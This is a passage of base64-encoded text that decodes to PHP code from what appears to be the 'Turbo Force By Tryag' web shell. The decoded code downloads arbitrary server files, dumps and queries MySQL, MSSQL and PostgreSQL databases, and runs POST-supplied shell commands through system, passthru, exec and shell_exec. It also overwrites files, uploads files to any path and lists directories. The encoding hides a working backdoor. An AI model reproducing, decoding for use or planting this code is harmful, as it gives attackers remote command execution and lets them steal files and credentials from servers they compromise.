JvciA9IEBvY2llcnJvcigpOyAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107IH0NCiBicmVhazsgfQ0KIHJldHVybiAwOyB9DQogZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpIA0KIHsNCiAkdGhpcy0+cm93cz1hcnJheSgpOyAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOyAkdGhpcy0+bnVtX3Jvd3M9JHRoaXMtPm51bV9maWVsZHM9MDsgc3dpdGNoKCR0aGlzLT5kYikgDQogew0KIGNhc2UgJ015U1FMJzogJHRoaXMtPm51bV9yb3dzPUBteXNxbF9udW1fcm93cygkdGhpcy0+cmVzKTsgJHRoaXMtPm51bV9maWVsZHM9QG15c3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7IHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBteXNxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOyBAbXlzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7IGlmKCR0aGlzLT5udW1fcm93cykNCiB7DQokdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KIGJyZWFrOyBjYXNlICdNU1NRTCc6ICR0aGlzLT5udW1fcm93cz1AbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7ICR0aGlzLT5udW1fZmllbGRzPUBtc3NxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOyB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXNzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsgQG1zc3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOyBpZigkdGhpcy0+bnVtX3Jvd3MpDQogew0KJHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCjsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiAkdGhpcy0+bnVtX3Jvd3M9QHBnX251bV9yb3dzKCR0aGlzLT5yZXMpOyAkdGhpcy0+bnVtX2ZpZWxkcz1AcGdfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7IEBwZ19mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsgaWYoJHRoaXMtPm51bV9yb3dzKQ0KIHsNCiR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogYnJlYWs7IGNhc2UgJ09yYWNsZSc6ICR0aGlzLT5udW1fZmllbGRzPUBvY2ludW1jb2xzKCR0aGlzLT5yZXMpOyB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAb2NpX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSkgJHRoaXMtPm51bV9yb3dzKys7IEBvY2lmcmVlc3RhdGVtZW50KCR0aGlzLT5yZXMpOyBpZigkdGhpcy0+bnVtX3Jvd3MpDQogew0KJHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCiBicmVhazsgfQ0KIHJldHVybiAwOyB9DQogZnVuY3Rpb24gZHVtcCgkdGFibGUpIA0KIHsNCiBpZihlbXB0eSgkdGFibGUpKSByZXR1cm4gMDsgJHRoaXMtPmR1bXA9YXJyYXkoKTsgJHRoaXMtPmR1bXBbMF0gPSAnIyMnOyAkdGhpcy0+ZHVtcFsxXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsgJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7ICR0aGlzLT5kdW1wWzNdID0gJyMjIERhdGFiYXNlOiAnLiR0aGlzLT5iYXNlOyAkdGhpcy0+ZHVtcFs0XSA9ICcjIyAgICBUYWJsZTogJy4kdGFibGU7ICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOyBzd2l0Y2goJHRoaXMtPmRiKSANCiB7DQogY2FzZSAnTXlTUUwnOiAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTCBkdW1wJzsgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7IGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsgJHRoaXMtPmR1bXBbXSA9ICR0aGlzLT5yb3dzWzBdWydDcmVhdGUgVGFibGUnXS4iOyI7ICR0aGlzLT5kdW1wW10gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7IGlmKCR0aGlzLT5xdWVyeSgnLyonLmNocigwKS4nKi8gU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7IGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspIA0KIHsNCiBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIA0KIHsNCiR0aGlzLT5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQogJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKGAnLkBpbXBsb2RlKCJgLCBgIiwgJHRoaXMtPmNvbHVtbnMpLidgKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOyB9DQogYnJlYWs7IGNhc2UgJ01TU1FMJzogJHRoaXMtPmR1bXBbMF0gPSAnIyMgTVNTUUwgZHVtcCc7IGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOyBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7IGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKSANCiB7DQogZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSANCiB7DQokdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7IH0NCiBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6ICR0aGlzLT5kdW1wWzBdID0gJyMjIFBvc3RncmVTUUwgZHVtcCc7IGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOyBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7IGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKSANCiB7DQogZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSANCiB7DQokdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7IH0NCiBicmVhazsgY2FzZSAnT3JhY2xlJzogJHRoaXMtPmR1bXBbMF0gPSAnIyMgT1JBQ0xFIGR1bXAnOyAkdGhpcy0+ZHVtcFtdID0gJyMjIHVuZGVyIGNvbnN0cnVjdGlvbic7IGJyZWFrOyBkZWZhdWx0OiByZXR1cm4gMDsgYnJlYWs7IH0NCiByZXR1cm4gMTsgfQ0KIGZ1bmN0aW9uIGNsb3NlKCkgDQogew0KIHN3aXRjaCgkdGhpcy0+ZGIpIA0KIHsNCiBjYXNlICdNeVNRTCc6IEBteXNxbF9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7IGJyZWFrOyBjYXNlICdNU1NRTCc6IEBtc3NxbF9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7IGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogQHBnX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgYnJlYWs7IGNhc2UgJ09yYWNsZSc6IEBvY2lfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyBicmVhazsgfQ0KIH0NCiBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkgDQogew0KIHN3aXRjaCgkdGhpcy0+ZGIpIA0KIHsNCiBjYXNlICdNeVNRTCc6IHJldHVybiBAbXlzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsgYnJlYWs7IGNhc2UgJ01TU1FMJzogcmV0dXJuIEBtc3NxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6IHJldHVybiBAcGdfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsgYnJlYWs7IGNhc2UgJ09yYWNsZSc6IHJldHVybiBAb2Npcm93Y291bnQoJHRoaXMtPnJlcyk7IGJyZWFrOyBkZWZhdWx0OiByZXR1cm4gMDsgYnJlYWs7IH0NCiB9DQogfQ0KIGlmKCFlbXB0eSgkX1BPU1RbJ2NjY2MnXSkgJiYgJF9QT1NUWydjY2NjJ109PSJkb3dubG9hZF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydkX25hbWUnXSkpIA0KIHsNCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZF9uYW1lJ10sInIiKSkgDQogew0KIGVycigxLCRfUE9TVFsnZF9uYW1lJ10pOyAkX1BPU1RbJ2NjY2MnXT0iIjsgfQ0KIGVsc2UgDQogew0KIEBvYl9jbGVhbigpOyAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydkX25hbWUnXSk7ICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydkX25hbWUnXSkpOyBmY2xvc2UoJGZpbGUpOyAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOyBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7IGlmICghZW1wdHkoJGNvbnRlbnRfZW5jb2RpbmcpKSANCiB7DQogaGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiAnIC4gJGNvbnRlbnRfZW5jb2RpbmcpOyB9DQogaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJG1pbWVfdHlwZSk7IGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCI7Iik7IGVjaG8gJGZpbGVkdW1wOyBleGl0KCk7IH0NCiB9DQogaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIA0KIHsNCiBlY2hvIEBwaHBpbmZvKCk7IGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOyB9DQogaWYgKCFlbXB0eSgkX1BPU1RbJ2NjY2MnXSkgJiYgJF9QT1NUWydjY2NjJ109PSJkYl9xdWVyeSIpIA0KIHsNCiBlY2hvICRoZWFkOyAkc3FsID0gbmV3IG15X3NxbCgpOyAkc3FsLT5kYiA9ICRfUE9TVFsnZGInXTsgJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107ICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsgJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOyAkc3FsLT5wYXNzID0gJF9QT1NUWydteXNxbF9wJ107ICRzcWwtPmJhc2UgPSAkX1BPU1RbJ215c3FsX2RiJ107ICRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJF9QT1NUWydkYl9xdWVyeSddKTsgZWNobyAnPGJvZHkgYmdjb2xvcj0jZTRlMGQ4Pic7IGlmKCEkc3FsLT5jb25uZWN0KCkpIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj4iLiRzcWwtPmVycm9yLiI8L2I+PC9mb250PjwvZGl2PiI7IGVsc2UgDQogew0KIGlmKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L2Rpdj4iOyBlbHNlIA0KIHsNCiBmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSANCiB7DQogaWYoc3RybGVuKCRxdWVyeSk+NSkgDQogew0KIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvZm9udD48YnI+Ijsgc3dpdGNoKCRzcWwtPnF1ZXJ5KCRxdWVyeSkpIA0KIHsNCiBjYXNlICcwJzogZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5FcnJvciA6IDxiPiIuJHNxbC0+ZXJyb3IuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsgYnJlYWs7IGNhc2UgJzEnOiBpZigkc3FsLT5nZXRfcmVzdWx0KCkpIA0KIHsNCiBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT4iOyBmb3JlYWNoKCRzcWwtPmNvbHVtbnMgYXMgJGs9PiR2KSAkc3FsLT5jb2x1bW5zWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7ICRrZXlzID0gQGltcGxvZGUoIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48dGQgYmdjb2xvcj0jODAwMDAwPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIsICRzcWwtPmNvbHVtbnMpOyBlY2hvICI8dHI+PHRkIGJnY29sb3I9IzgwMDAwMD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsiLiRrZXlzLiImbmJzcDs8L2I+PC9mb250PjwvdGQ+PC90cj4iOyBmb3IoJGk9MDskaTwkc3FsLT5udW1fcm93czskaSsrKSANCiB7DQogZm9yZWFjaCgkc3FsLT5yb3dzWyRpXSBhcyAkaz0+JHYpICRzcWwtPnJvd3NbJGldWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7ICR2YWx1ZXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOyIsJHNxbC0+cm93c1skaV0pOyBlY2hvICc8dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOycuJHZhbHVlcy4nJm5ic3A7PC9mb250PjwvdGQ+PC90cj4nOyB9DQogZWNobyAiPC90YWJsZT4iOyB9DQogYnJlYWs7IGNhc2UgJzInOiAkYXIgPSAkc3FsLT5hZmZlY3RlZF9yb3dzKCk/KCRzcWwtPmFmZmVjdGVkX3Jvd3MoKSk6KCcwJyk7IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+YWZmZWN0ZWQgcm93cyA6IDxiPiIuJGFyLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOyBicmVhazsgfQ0KIH0NCiB9DQogfQ0KIH0NCiBlY2hvICI8YnI+PHRpdGxlPlR1cmJvIEZvcmNlIEJ5IFRyeWFnPC90aXRsZT48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsgDQogZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkYiddKTsgZWNobyBpbignaGlkZGVuJywnZGJfc2VydmVyJywwLCRfUE9TVFsnZGJfc2VydmVyJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsgZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7IGVjaG8gaW4oJ2hpZGRlbicsJ215c3FsX3AnLDAsJF9QT1NUWydteXNxbF9wJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdjY2NjJywwLCdkYl9xdWVyeScpOyANCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iOyBlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5CYXNlOiA8L2I+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW15c3FsX2RiIHZhbHVlPVwiIi4kc3FsLT5iYXNlLiJcIj48L2ZvbnQ+PGJyPiI7IGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTY1IHJvd3M9MTAgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTO1xuU0VMRUNUICogRlJPTSB1c2VyOyIpKS4iPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIFJ1biBTUUwgcXVlcnkgXCI+PC9kaXY+PGJyPjxicj4iOyBlY2hvICI8L2Zvcm0+IjsgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7IH0NCg0KDQpmdW5jdGlvbiBjY21tZGQoJGNjbW1kZDIsJGF0dCkNCnsNCmdsb2JhbCAkY2NtbWRkMiwkYXR0Ow0KZWNobyAnDQo8dGFibGUgc3R5bGU9IndpZHRoOiAxMDAlIiBjbGFzcz0ic3R5bGUxIiBkaXI9InJ0bCI+DQoJPHRyPg0KCQk8dGQgY2xhc3M9InN0eWxlOSI+PHN0cm9uZz5Db21tYW5kOjwvc3Ryb25nPjwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJCTx0ZCBjbGFzcz0ic3R5bGUxMyI+DQoJCQkJPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCgkJCQkJPHNlbGVjdCBuYW1lPSJhdHQiIGRpcj0icnRsIiBzdHlsZT0iaGVpZ2h0OiAxMDlweCIgc2l6ZT0iNiI+DQonOw0KaWYoJF9QT1NUWydhdHQnXT09bnVsbCkNCnsNCmVjaG8gJwkJCQkJCTxvcHRpb24gdmFsdWU9InN5c3RlbSIgc2VsZWN0ZWQ9IiI+c3lzdGVtPC9vcHRpb24+JzsNCn1lbHNlew0KZWNobyAiCQkJCQkJPG9wdGlvbiB2YWx1ZT0nJF9QT1NUW2F0dF0nIHNlbGVjdGVkPScnPiRfUE9TVFthdHRdPC9vcHRpb24+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPXN5c3RlbT5zeXN0ZW08L29wdGlvbj4NCiI7DQoNCgkJCQkJCQ0KfQ0KDQplY2hvICcNCgkJCQkJCTxvcHRpb24gdmFsdWU9InBhc3N0aHJ1Ij5wYXNzdGhydTwvb3B0aW9uPg0KCQkJCQkJPG9wdGlvbiB2YWx1ZT0iZXhlYyI+ZXhlYzwvb3B0aW9uPg0KCQkJCQkJPG9wdGlvbiB2YWx1ZT0ic2hlbGxfZXhlYyI+c2hlbGxfZXhlYzwvb3B0aW9uPgkNCgkJCQkJPC9zZWxlY3Q+DQoJCQkJCQk8aW5wdXQgbmFtZT0icGFnZSIgdmFsdWU9ImNjbW1kZCIgdHlwZT0iaGlkZGVuIj48YnI+DQoJCQkJCQk8aW5wdXQgZGlyPSJsdHIiIG5hbWU9ImNjbW1kZDIiIHN0eWxlPSJ3aWR0aDogMTczcHgiIHR5cGU9InRleHQiIHZhbHVlPSInO2lmKCEkX1BPU1RbJ2NjbW1kZDInXSl7ZWNobyAnZGlyJzt9ZWxzZXtlY2hvICRfUE9TVFsnY2NtbWRkMiddO31lY2hvICciPjxicj4NCgkJCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI/Pz8/PyI+DQoJCQkJPC9mb3JtPg0KCQkNCgkJPC90ZD4NCgk8L3RyPg0KCTx0cj4NCgkJPHRkIGNsYXNzPSJzdHlsZTEzIj4NCic7DQoNCgkJaWYoJF9QT1NUW2F0dF09PSdzeXN0ZW0nKQ0KCQl7DQplY2hvICcNCgkJCQkJPHRleHRhcmVhIGRpcj0ibHRyIiBuYW1lPSJUZXh0QXJlYTEiIHN0eWxlPSJ3aWR0aDogNzQ1cHg7IGhlaWdodDogMjA0cHgiPic7DQoJCQkJCXN5c3RlbSgkX1BPU1RbJ2NjbW1kZDInXSk7DQplY2hvICcJCQkJCTwvdGV4dGFyZWE+JzsNCg0KDQoJCX0NCg0KCQlpZigkX1BPU1RbYXR0XT09J3Bhc3N0aHJ1JykNCgkJew0KZWNobyAnDQoJCQkJCTx0ZXh0YXJlYSBkaXI9Imx0ciIgbmFtZT0iVGV4dEFyZWExIiBzdHlsZT0id2lkdGg6IDc0NXB4OyBoZWlnaHQ6IDIwNHB4Ij4nOw0KCQkJCQlwYXNzdGhydSgkX1BPU1RbJ2NjbW1kZDInXSk7DQplY2hvICcJCQkJCTwvdGV4dGFyZWE+JzsNCg0KDQoJCX0NCg0KCQkNCg0KDQoNCgkJaWYoJF9QT1NUW2F0dF09PSdleGVjJykNCgkJew0KDQplY2hvICcJCQkJCTx0ZXh0YXJlYSBkaXI9Imx0ciIgbmFtZT0iVGV4dEFyZWExIiBzdHlsZT0id2lkdGg6IDc0NXB4OyBoZWlnaHQ6IDIwNHB4Ij4nOw0KCQkJCQlleGVjKCRfUE9TVFsnY2NtbWRkMiddLCRyZXMpOw0KCQkJCWVjaG8gJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsgCQkJCQ0KZWNobyAnCQkJCQk8L3RleHRhcmVhPic7DQoNCg0KCQl9DQoNCg0KDQoNCg0KDQoNCgkJaWYoJF9QT1NUW2F0dF09PSdzaGVsbF9leGVjJykNCgkJew0KDQplY2hvICcJCQkJCTx0ZXh0YXJlYSBkaXI9Imx0ciIgbmFtZT0iVGV4dEFyZWExIiBzdHlsZT0id2lkdGg6IDc0NXB4OyBoZWlnaHQ6IDIwNHB4Ij4nOw0KCQkJCWVjaG8Jc2hlbGxfZXhlYygkX1BPU1RbJ2NjbW1kZDInXSk7DQplY2hvICcJCQkJCTwvdGV4dGFyZWE+JzsNCg0KDQoJCX0NCmVjaG8gJwkJDQoJCTwvdGQ+DQoJPC90cj4NCjwvdGFibGU+DQonOw0KDQpleGl0Ow0KfQ0KDQppZigkX1BPU1RbJ3BhZ2UnXT09J2VkaXQnKQ0Kew0KDQokY29kZT1Ac3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJF9QT1NUWydjb2RlJ10pOw0KJGNvZGU9QHN0cl9yZXBsYWNlKCdcXCcsJycsJGNvZGUpOw0KJGZwID0gZm9wZW4oJHBhdGhjbGFzcywgJ3cnKTsNCmZ3cml0ZSgkZnAsIiRjb2RlIik7DQpmY2xvc2UoJGZwKTsNCmVjaG8gIjxjZW50ZXI+PGI+T0sgRWRpdDxicj48YnI+PGJyPjxicj48YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiI7DQpleGl0Ow0KfQkNCg0KDQoJaWYoJF9QT1NUWydwYWdlJ109PSd1cGxvYWQnKQ0KCXsNCg0KaWYoJF9GSUxFU1snaW1nJ11bJ3NpemUnXSA+IDApDQp7DQokcGF0aD0kX1BPU1RbJ3BhdGhjbGFzcyddOw0KJG5hbWU9JF9GSUxFU1snaW1nJ11bJ25hbWUnXTsNCmlmKHN0cnBvcygkcGF0aCwiXFwiKSkNCnsNCiRmb2xkZXIgPSAkcGF0aC4iXFxcXCIuYmFzZW5hbWUoJG5hbWUpOw0KfWVsc2V7DQokZm9sZGVyID0gJHBhdGguIi8iLmJhc2VuYW1lKCRuYW1lKSA7DQp9DQoNCm1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydpbWcnXVsndG1wX25hbWUnXSwkZm9sZGVyKTsNCmlmKHN0cnBvcygkcGF0aCwiXFwiKSkNCnsNCmVjaG8gJzxjZW50ZXI+PGI+WWVzPGJyPicuIiRwYXRoXFxcXCRuYW1lIjsNCn1lbHNlew0KZWNobyAnPGNlbnRlcj48Yj5ZZXM8YnI+Jy4iJHBhdGgvJG5hbWUiOw0KfQ0KDQoNCn1lbHNlew0KZWNobyAnPGNlbnRlcj48Yj5FcnJvciA6Tm8gRW50ZXIgRmlsZSc7DQp9DQoNCmV4aXQ7DQoJfQ0KDQoNCg0KDQoNCglpZigkX1BPU1RbJ3BhZ2UnXT09J3Nob3dkaXInKQ0KCXsNCgkkcGF0aGNsYXNzID0kX1BPU1RbJ3BhdGhjbGFzcyddOw0KCSRwYXRoY2xhc3MgPSBzdHJfcmVwbGFjZSgnXFxcXCcsJ1xcJywkcGF0aGNsYXNzKTsNCg0KZWNobyAnDQo8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KCTxpbnB1dCBuYW1lPSJwYXRoY2xhc3MiIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDogMjg0cHgiIHZhbHVlPSInLiRwYXRoY2xhc3MuJyIgZGlyPWx0cj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPz8/Ij4NCgk8aW5wdXQgbmFtZT0icGFnZSIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0ic2hvd2RpciI+DQo8L2Zvcm0+DQoJDQoJPGJyPg0KJzsNCg0KZnVuY3Rpb24gZm9ybWF0X2J5dGVzKCRieXRlcykgew0KICAgaWYgKCRieXRlcyA8IDEwMjQpIHJldHVybiAkYnl0ZXMuJyBCJzsNCiAgIGVsc2VpZiAoJGJ5dGVzIDwgMTA0ODU3NikgcmV0dXJuIHJvdW5kKCRieXRlcyAvIDEwMjQsIDIpLicgS0InOw0KICAgZWxzZWlmICgkYnl0ZXMgPCAxMDczNzQxODI0KSByZXR1cm4gcm91bmQoJGJ5dGVzIC8gMTA0ODU3NiwgMikuJyBNQic7DQogICBlbHNlaWYgKCRieXRlcyA8IDEwOTk1MTE2Mjc3NzYpIHJldHVybiByb3VuZCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKS4nIEdCJzsNCiAgIGVsc2UgcmV0dXJuIHJvdW5kKCRieXRlcyAvIDEwOTk1MTE2Mjc3NzYsIDIpLicgVEInOw0KfQ0KDQoJJGZpbGVzMSA9IHNjYW5kaXIoJHBhdGhjbGFzcyk7DQoNCmVjaG8gJw0KCTx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBkaXI9Imx0ciI+DQoJPHRyPg0KCQk8dGQ+DQoJCTxwIGFsaWduPSJjZW50ZXIiPjxiPjxzcGFuIGxhbmc9ImVuLXVzIj5uYW1lPC9zcGFuPjwvYj48L3RkPg0KCQk8dGQ+DQoJCTxwIGFsaWduPSJjZW50ZXIiPjxzcGFuIGxhbmc9ImVuLXVzIj48Yj5zaXplPC9iPjwvc3Bhbj48L3RkPg0KCQk8dGQ+DQoJCTxwIGFsaWduPSJjZW50ZXIiPjxiPjxzcGFuIGxhbmc9ImVuLXVzIj5jaG1vZDwvc3Bhbj48L2I+PC90ZD4NCgkJPHRkPg0KCQk8cCBhbGlnbj0iY2VudGVyIj48Yj48c3BhbiBsYW5nPSJlbi11cyI+cmVhZCBvciBlZGl0PC9zcGFuPjwvYj48L3RkPg0KCQk8dGQ+DQoJCTxwIGFsaWduPSJj